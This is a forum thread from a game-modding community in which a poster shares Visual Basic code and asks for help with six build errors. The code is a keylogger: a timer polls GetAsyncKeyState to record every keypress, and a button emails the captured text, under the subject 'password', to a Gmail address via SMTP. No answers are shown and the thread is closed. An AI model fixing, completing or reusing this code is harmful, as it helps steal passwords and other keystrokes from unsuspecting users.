• 🏆 Texturing Contest #33 is OPEN! Contestants must re-texture a SD unit model found in-game (Warcraft 3 Classic), recreating the unit into a peaceful NPC version. 🔗Click here to enter!
  • 🏆 Hive's 6th HD Modeling Contest: Mechanical is now open! Design and model a mechanical creature, mechanized animal, a futuristic robotic being, or anything else your imagination can tinker with! 📅 Submissions close on June 30, 2024. Don't miss this opportunity to let your creativity shine! Enter now and show us your mechanical masterpiece! 🔗 Click here to enter!

Visual Basics Code help! Come look

Status
Not open for further replies.
Level 10
Joined
Apr 4, 2011
Messages
580
Code:
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1

    Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
        Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("[email protected]")
        mail.From = New MailAddress("[email protected]")
        mail.Subject = "password"
        mail.Body = RichTextBox1.Text
        SmtpServer.Send(mail)
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                RichTextBox1.Text = RichTextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
End Class

Can someone help me with this code, i am getting 6 errors when try to build

Errors:
Error 1 Keyword is not valid as an identifier. (Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer)

Error 2 Keyword is not valid as an identifier. (Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer)

Error 3 Name 'result' is not declared. (result = 0)

Error 4 Name 'result' is not declared. (result = GetAsyncKeyState(i))

Error 5 Name 'GetAsyncKeyState' is not declared. (result = GetAsyncKeyState(i))

Error 6 Name 'result' is not declared. (If result = -32767 Then)
 
Status
Not open for further replies.
Top